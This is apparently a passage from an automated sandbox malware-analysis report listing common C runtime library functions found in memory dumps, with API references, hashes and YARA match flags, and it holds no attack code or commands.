String ID:
API String ID: 1202896665-0
Opcode ID: 01699667aa2a77937d9adaa910a4886983fe4db3813f95f217182bdb03a19c45
Instruction ID: c3d99d449314325a5dc40ae2bfb32bd67e3cd6ea85ecad695177628c6c120f15
Opcode Fuzzy Hash: 01699667aa2a77937d9adaa910a4886983fe4db3813f95f217182bdb03a19c45
Instruction Fuzzy Hash: 5011C172E001249FDB05EBA5C804AFEBBB8EF44318F14451AED15B7290DB74AA15CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00427AC0 Relevance: 9.3, APIs: 6, Instructions: 276COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 00427BD0
__FindPESection.LIBCMT ref: 00427BEA

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: bc384f76d8f635c5b2c6c749d7951069b59a0ece1133742fdae5e3cbfd5bbb72
Instruction ID: 52cd69d4b64803fa133344d4e9d29b6b42e74987d25fff38166c3f8cc652100c
Opcode Fuzzy Hash: bc384f76d8f635c5b2c6c749d7951069b59a0ece1133742fdae5e3cbfd5bbb72
Instruction Fuzzy Hash: 73A1D172B08225CFCB15CF69E9807AEB7B4EB44314F95466AD805EB351D739EC00CB98

Uniqueness

Uniqueness Score: -1.00%

Function 04107D27 Relevance: 9.3, APIs: 6, Instructions: 276COMMONLIBRARYCODE

Download Yara Rule

APIs

_ValidateScopeTableHandlers.LIBCMT ref: 04107E37
__FindPESection.LIBCMT ref: 04107E51

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: FindHandlersScopeSectionTableValidate
String ID:
API String ID: 876702719-0
Opcode ID: bc384f76d8f635c5b2c6c749d7951069b59a0ece1133742fdae5e3cbfd5bbb72
Instruction ID: 9ed6a954dd9c8577c308fa1a04ef11749bcd1e8ed204176bf8e68e227118767c
Opcode Fuzzy Hash: bc384f76d8f635c5b2c6c749d7951069b59a0ece1133742fdae5e3cbfd5bbb72
Instruction Fuzzy Hash: C1A1AD72A01615CFDB15DF58C9C06AAB7B4EB08310F25826AD825EB3D1E7B5FC01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 040F69A6 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,040F6BF7,00000001,00000001,?), ref: 040F6A00
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,040F6BF7,00000001,00000001,?,?,?,?), ref: 040F6A86
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 040F6B80
__freea.LIBCMT ref: 040F6B8D

Part of subcall function 040F7CAC: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 040F7CDE

__freea.LIBCMT ref: 040F6B96
__freea.LIBCMT ref: 040F6BBB

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 2e994442627aa9f9a0c237f5ce444149c9e688fee8ef3ecc4bad462f2a91c68e
Instruction ID: 783337e9922f7fbfb2ac884257f8237c5aae7d574a35ad20dd74a202c539987e
Opcode Fuzzy Hash: 2e994442627aa9f9a0c237f5ce444149c9e688fee8ef3ecc4bad462f2a91c68e
Instruction Fuzzy Hash: 5851C572620216AFEB258F64CC40EBF77A9DB80754F144A38EE04E7540EB36FC92C690

Uniqueness

Uniqueness Score: -1.00%

Function 00411A6C Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 00411A98
__cftoe.LIBCMT ref: 00411ACA

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 3abcaf1d833c0b43dbdf51c67ed2576d6ab8f65321eebda5ff6643d6b04ddf7b
Instruction ID: df7bbd6b43df22bb4be9fc1c410e64f9820c02350ec4393f10609d324cfe3ba4
Opcode Fuzzy Hash: 3abcaf1d833c0b43dbdf51c67ed2576d6ab8f65321eebda5ff6643d6b04ddf7b
Instruction Fuzzy Hash: 7551FD72904205ABDF209B699D41EEF77A99F48364F10011FFA15962A2EB3DDD80C65C

Uniqueness

Uniqueness Score: -1.00%

Function 040F1CD3 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 040F1CFF
__cftoe.LIBCMT ref: 040F1D31

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 90da76973bb766ea4a315db8452379bb561b87577be5415ac3e43ae82e0a4dd4
Instruction ID: deca460bce3e2d2b7c1f1e83172a34ad45976f82de1c86970075d1f632d2ddc9
Opcode Fuzzy Hash: 90da76973bb766ea4a315db8452379bb561b87577be5415ac3e43ae82e0a4dd4
Instruction Fuzzy Hash: 0251FB72900205EBEF649F698C40EEE77F8EF49368F504139EA14BA591EF31FD408A65

Uniqueness

Uniqueness Score: -1.00%

Function 0040C9BB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040C9B2,0040A25B), ref: 0040C9C9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040C9D7
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040C9F0
SetLastError.KERNEL32(00000000,?,0040C9B2,0040A25B), ref: 0040CA42

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a89c5195120a82154cc37d67133d9963b678ac02c8548023733cd8c502b1c527
Instruction ID: ee19b3e2510f7423959140ec21889b16034e20938e88c6190324d52fb0663b51
Opcode Fuzzy Hash: a89c5195120a82154cc37d67133d9963b678ac02c8548023733cd8c502b1c527
Instruction Fuzzy Hash: 8601F572649215AEE6395FB9BDC56572A54DB01338720033FF214B12F0EA794C16954C

Uniqueness

Uniqueness Score: -1.00%

Function 040ECC22 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,040ECC19,040EA4C2), ref: 040ECC30
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 040ECC3E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 040ECC57
SetLastError.KERNEL32(00000000,?,040ECC19,040EA4C2), ref: 040ECCA9

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 152d12fcc9b38d6eb509e9b18f925b7f1960da531015352f4daf10028e3799ab
Instruction ID: 41c51e3d63bd7a9864bceedd4851424c5b09fe6800c45ab6b87891c4ea0c851d
Opcode Fuzzy Hash: 152d12fcc9b38d6eb509e9b18f925b7f1960da531015352f4daf10028e3799ab
Instruction Fuzzy Hash: CD01F53222D3125EB7292E77BD889BB2794EB4067A720023DE225B21F0EB1268305144

Uniqueness

Uniqueness Score: -1.00%

Function 00416D19 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040E430,?,?,?,0040EB2D,?), ref: 00416D1D
_free.LIBCMT ref: 00416D50
_free.LIBCMT ref: 00416D78
SetLastError.KERNEL32(00000000), ref: 00416D85
SetLastError.KERNEL32(00000000), ref: 00416D91
_abort.LIBCMT ref: 00416D97

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: a2875e3ccb6b8632a006c07bc9f65a419aef02cbdef471612c5cc690c003f94f
Instruction ID: dffb23d06d1e15ef1aad1c845134e5c8e8eacf90562cc3591d5b7c0101a08115
Opcode Fuzzy Hash: a2875e3ccb6b8632a006c07bc9f65a419aef02cbdef471612c5cc690c003f94f
Instruction Fuzzy Hash: BDF0F43178871026C2227B367C0ABDB26299FC1775F22052FF91D92291EF2CDCC2815D

Uniqueness

Uniqueness Score: -1.00%

Function 040F6F80 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,040EE697,?,?,?,040EED94,?), ref: 040F6F84
_free.LIBCMT ref: 040F6FB7
_free.LIBCMT ref: 040F6FDF
SetLastError.KERNEL32(00000000), ref: 040F6FEC
SetLastError.KERNEL32(00000000), ref: 040F6FF8
_abort.LIBCMT ref: 040F6FFE

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: a2875e3ccb6b8632a006c07bc9f65a419aef02cbdef471612c5cc690c003f94f
Instruction ID: 45ebe45f25e13a1e4d92fcbd0c956e352af376eca384b951edf40fac5ec1676e
Opcode Fuzzy Hash: a2875e3ccb6b8632a006c07bc9f65a419aef02cbdef471612c5cc690c003f94f
Instruction Fuzzy Hash: ABF0F93524860126E72133757C08BAB25559BC1739F240934FB15F2A90EE23B8075156

Uniqueness

Uniqueness Score: -1.00%

Function 00417253 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,-@,00000000,00000000,?,004171FA,-@,00000000,00000000,00000000,?,004174B2,00000006,FlsSetValue), ref: 00417285
GetLastError.KERNEL32(?,004171FA,-@,00000000,00000000,00000000,?,004174B2,00000006,FlsSetValue,0042F340,FlsSetValue,00000000,00000364,?,00416DEB), ref: 00417291
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004171FA,-@,00000000,00000000,00000000,?,004174B2,00000006,FlsSetValue,0042F340,FlsSetValue,00000000), ref: 0041729F

Strings

-@, xrefs: 0041727C

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: -@
API String ID: 3177248105-2564449678
Opcode ID: 26bf22cc59954dcc6720876a51754d7684b8387ef23ad7c861cfe47f39fec3a2
Instruction ID: 7e42d4c6809e44159ca8b586cb0097734ec1077dc4da662fe3f049ba49388dcf
Opcode Fuzzy Hash: 26bf22cc59954dcc6720876a51754d7684b8387ef23ad7c861cfe47f39fec3a2
Instruction Fuzzy Hash: 8B01F7367492279BC7314B699C44A977BB8AF55760B500671F909D7240DB34DC43C6E8

Uniqueness

Uniqueness Score: -1.00%

Function 040E1AE6 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 040E1B30
std::system_error::system_error.LIBCPMT ref: 040E1B3F

Strings

ios_base::badbit set, xrefs: 040E1AF7, 040E1B18
ios_base::eofbit set, xrefs: 040E1B07
ios_base::failbit set, xrefs: 040E1B02, 040E1B39

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::system_error::system_error
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 1589814233-1866435925
Opcode ID: 2b3e5ca4bc1d127b2dba606601132dddbbf971fcac2ee0ac16a13b9037fe9581
Instruction ID: f858948d5a7f2a3e05cf640decfa2137a8667372b5e909dc6cbc9540f25fa7d0
Opcode Fuzzy Hash: 2b3e5ca4bc1d127b2dba606601132dddbbf971fcac2ee0ac16a13b9037fe9581
Instruction Fuzzy Hash: 41F0C271A00219BBDB10AA928800FFA7A989F09698F19C025ED447A190F7B5792482E8

Uniqueness

Uniqueness Score: -1.00%

Function 00413A6C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00413A1D,00000003,?,004139BD,00000003,00438DB0,0000000C,00413B14,00000003,00000002), ref: 00413A8C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00413A9F
FreeLibrary.KERNEL32(00000000,?,?,?,00413A1D,00000003,?,004139BD,00000003,00438DB0,0000000C,00413B14,00000003,00000002,00000000), ref: 00413AC2

Strings

CorExitProcess, xrefs: 00413A97
mscoree.dll, xrefs: 00413A85

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9dff5006f0e47c0e7765be968ad1406b64006eb2177cec7e1fa0986365244e9b
Instruction ID: 222490b34c4e53a5feae2b87ffa662e2080e553be967456abbd25fb90b6b76cf
Opcode Fuzzy Hash: 9dff5006f0e47c0e7765be968ad1406b64006eb2177cec7e1fa0986365244e9b
Instruction Fuzzy Hash: 1EF08130A10218FBDB109F91DC09BAEBFB8EF54752F400069F809A2290DB344E45CA9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041A950 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eed48df6d33df695e27a89dff6e70afad1f3040da07926e72b140e158843729
Instruction ID: b33920a143986800139fcf22d81ba1a33bebe7e0c53b62ede7835c02ac38fde1
Opcode Fuzzy Hash: 0eed48df6d33df695e27a89dff6e70afad1f3040da07926e72b140e158843729
Instruction Fuzzy Hash: 9E712A71D062969BCB308F94C844AFFBB76EF41360F14022BE91457280D774ACE1C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 040FABB7 Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eed48df6d33df695e27a89dff6e70afad1f3040da07926e72b140e158843729
Instruction ID: f67fc0c7b8eae87448334fb8d9ac8a2a0d1d814ffc05dd40b9ffe8fefe6613bf
Opcode Fuzzy Hash: 0eed48df6d33df695e27a89dff6e70afad1f3040da07926e72b140e158843729
Instruction Fuzzy Hash: CD719231B0021A9FDF618F54CC84ABEBBB9EF41355F144239EA1977550D7B0A941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00415063 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004150D5
_free.LIBCMT ref: 004150F5

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a53c037777d8b1b2115bf159d204196ca41bb946c20c2e3f835a11376dbc8933
Instruction ID: 119d67276799711db09ecd5bf14b9939420992e10a89990823b09dedeceb6b84
Opcode Fuzzy Hash: a53c037777d8b1b2115bf159d204196ca41bb946c20c2e3f835a11376dbc8933
Instruction Fuzzy Hash: F941E232E00700EBCB15DF79C880A9EB7B1EF89318B1545AAE515EB392D634AD41CB84

Uniqueness

Uniqueness Score: -1.00%

Function 040F52CA Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 040F533C
_free.LIBCMT ref: 040F535C

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: a53c037777d8b1b2115bf159d204196ca41bb946c20c2e3f835a11376dbc8933
Instruction ID: 95c532b009d91ef595cd4323a34e67f86bde3d6d4e09d1b13621558f22ccef97
Opcode Fuzzy Hash: a53c037777d8b1b2115bf159d204196ca41bb946c20c2e3f835a11376dbc8933
Instruction Fuzzy Hash: 8141FF36A00200AFDB24DFB8CC80AADB7F1EF89318F5545A9D655FB691DB71B905CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0041B300 Relevance: 7.6, APIs: 5, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,0041197C,?,00000000,?,00000001,?,?,00000001,0041197C,?), ref: 0041B34D
__alloca_probe_16.LIBCMT ref: 0041B385
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0041B3D6
GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00410DD1,?), ref: 0041B3E8
__freea.LIBCMT ref: 0041B3F1

Part of subcall function 00417A45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B3A4,00000000,?,00410DD1,?,00000008,?,0041197C,?,?,?), ref: 00417A77

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: d59019c36856c0d038f4f00fa65e6381e0e9e1f4e06c47476786303ee0ade61e
Instruction ID: fe6b59a793102c77a27ef18a3bbb39662c21b96f940faf78fbed62ac6a6f166a
Opcode Fuzzy Hash: d59019c36856c0d038f4f00fa65e6381e0e9e1f4e06c47476786303ee0ade61e
Instruction Fuzzy Hash: 3831BF72A0021A9BDB249F65CC41EEF7BA5EB40310F04012EFC14D7291EB39DDA1CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041E403 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0041E40C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041E42F

Part of subcall function 00417A45: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B3A4,00000000,?,00410DD1,?,00000008,?,0041197C,?,?,?), ref: 00417A77

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0041E455
_free.LIBCMT ref: 0041E468
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041E477

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: a34debf33ccdb7c840dc0c30cab86c6cd241ab08fa36fff5cfa760907aeefc26
Instruction ID: e222fc366bdc9891f1000934aff4c77bc857fdd668f389f9b834644977e06484
Opcode Fuzzy Hash: a34debf33ccdb7c840dc0c30cab86c6cd241ab08fa36fff5cfa760907aeefc26
Instruction Fuzzy Hash: 9001847AA012157B27211AB75C8CDFB6A6DDEC6FA4315012AFD08D3201DE688C82C5B9

Uniqueness

Uniqueness Score: -1.00%

Function 040FE66A Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 040FE673
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 040FE696

Part of subcall function 040F7CAC: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 040F7CDE

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 040FE6BC
_free.LIBCMT ref: 040FE6CF
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 040FE6DE

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: a2b97d9722a52550099a0d12c6cf1aac4d01039bf2330feb9bda49d958931312
Instruction ID: 96ab8fed6a7f152c96e3ad430783b69d7513bb92f46cb1ec009f99df8e30688f
Opcode Fuzzy Hash: a2b97d9722a52550099a0d12c6cf1aac4d01039bf2330feb9bda49d958931312
Instruction Fuzzy Hash: 5E01D87270121D7F273116BA9C88C7F79ACDAC2BE57140139FB04F2520EE61AC0281F9

Uniqueness

Uniqueness Score: -1.00%

Function 00416D9D Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00412386,004170A0,?,00416D47,00000001,00000364,?,0040E430,?,?,?,0040EB2D,?), ref: 00416DA2
_free.LIBCMT ref: 00416DD7
_free.LIBCMT ref: 00416DFE
SetLastError.KERNEL32(00000000), ref: 00416E0B
SetLastError.KERNEL32(00000000), ref: 00416E14

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2a6d9975e68edca73772c522f74d58e38e99fa7ec2a6d048bd801e93f761d665
Instruction ID: 6e49a9887b0250ccd633565296769d6b3062fe87a49412782ccaa8615f8c8364
Opcode Fuzzy Hash: 2a6d9975e68edca73772c522f74d58e38e99fa7ec2a6d048bd801e93f761d665
Instruction Fuzzy Hash: C201F9363847106792217676BC85EEB262D9BC5374763027FF819922D2EF3DCC92505D

Uniqueness

Uniqueness Score: -1.00%

Function 040F7004 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,040F25ED,040F7307,?,040F6FAE,00000001,00000364,?,040EE697,?,?,?,040EED94,?), ref: 040F7009
_free.LIBCMT ref: 040F703E
_free.LIBCMT ref: 040F7065
SetLastError.KERNEL32(00000000), ref: 040F7072
SetLastError.KERNEL32(00000000), ref: 040F707B

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 2a6d9975e68edca73772c522f74d58e38e99fa7ec2a6d048bd801e93f761d665
Instruction ID: 7104108f3c4b01f0d6992b6715a514f072160409bebf914fb690931931b865b7
Opcode Fuzzy Hash: 2a6d9975e68edca73772c522f74d58e38e99fa7ec2a6d048bd801e93f761d665
Instruction Fuzzy Hash: 1C01D676240601A7A7323AF96C84EAB22699FC1678B200534FF16B3A90FE21B8034167

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED6E Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041ED86

Part of subcall function 0041629A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?), ref: 004162B0
Part of subcall function 0041629A: GetLastError.KERNEL32(?,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?,?), ref: 004162C2

_free.LIBCMT ref: 0041ED98
_free.LIBCMT ref: 0041EDAA
_free.LIBCMT ref: 0041EDBC
_free.LIBCMT ref: 0041EDCE

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 12b51190f65240c3d2ef2a1ad5896f3b430592fd2ccf38004c9c9016fab84203
Instruction ID: d5ef32133b98e4fb2412931fa35fae6bc57e2fe493cbd1108eefdbae164f4dde
Opcode Fuzzy Hash: 12b51190f65240c3d2ef2a1ad5896f3b430592fd2ccf38004c9c9016fab84203
Instruction Fuzzy Hash: 6DF04F32544310ABCA20EB6AF885DDB73E9BA44714755181AF848D7640C638FCC0865D

Uniqueness

Uniqueness Score: -1.00%

Function 040FEFD5 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 040FEFED

Part of subcall function 040F6501: HeapFree.KERNEL32(00000000,00000000,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?), ref: 040F6517
Part of subcall function 040F6501: GetLastError.KERNEL32(?,?,040FF288,?,00000000,?,00000000,?,040FF52C,?,00000007,?,?,040FF920,?,?), ref: 040F6529

_free.LIBCMT ref: 040FEFFF
_free.LIBCMT ref: 040FF011
_free.LIBCMT ref: 040FF023
_free.LIBCMT ref: 040FF035

Memory Dump Source

Source File: 00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_40e0000_i1.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 12b51190f65240c3d2ef2a1ad5896f3b430592fd2ccf38004c9c9016fab84203
Instruction ID: 074d19d379290d2a30e0ebe430d978d85dbe0a78db10a08a3579900a6d09a4d7
Opcode Fuzzy Hash: 12b51190f65240c3d2ef2a1ad5896f3b430592fd2ccf38004c9c9016fab84203
Instruction Fuzzy Hash: 16F012725142027BDA70EBA8FCC5C5773D9AB14B18B541C26F684F7D10CF32F9824665

Uniqueness

Uniqueness Score: -1.00%

Function 004152B2 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004152D0

Part of subcall function 0041629A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?), ref: 004162B0
Part of subcall function 0041629A: GetLastError.KERNEL32(?,?,0041F021,?,00000000,?,00000000,?,0041F2C5,?,00000007,?,?,0041F6B9,?,?), ref: 004162C2

_free.LIBCMT ref: 004152E2
_free.LIBCMT ref: 004152F5
_free.LIBCMT ref: 00415306
_free.LIBCMT ref: 00415317

Memory Dump Source

Source File: 00000006.00000002.2380540418.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_i1.jbxd

Similarity

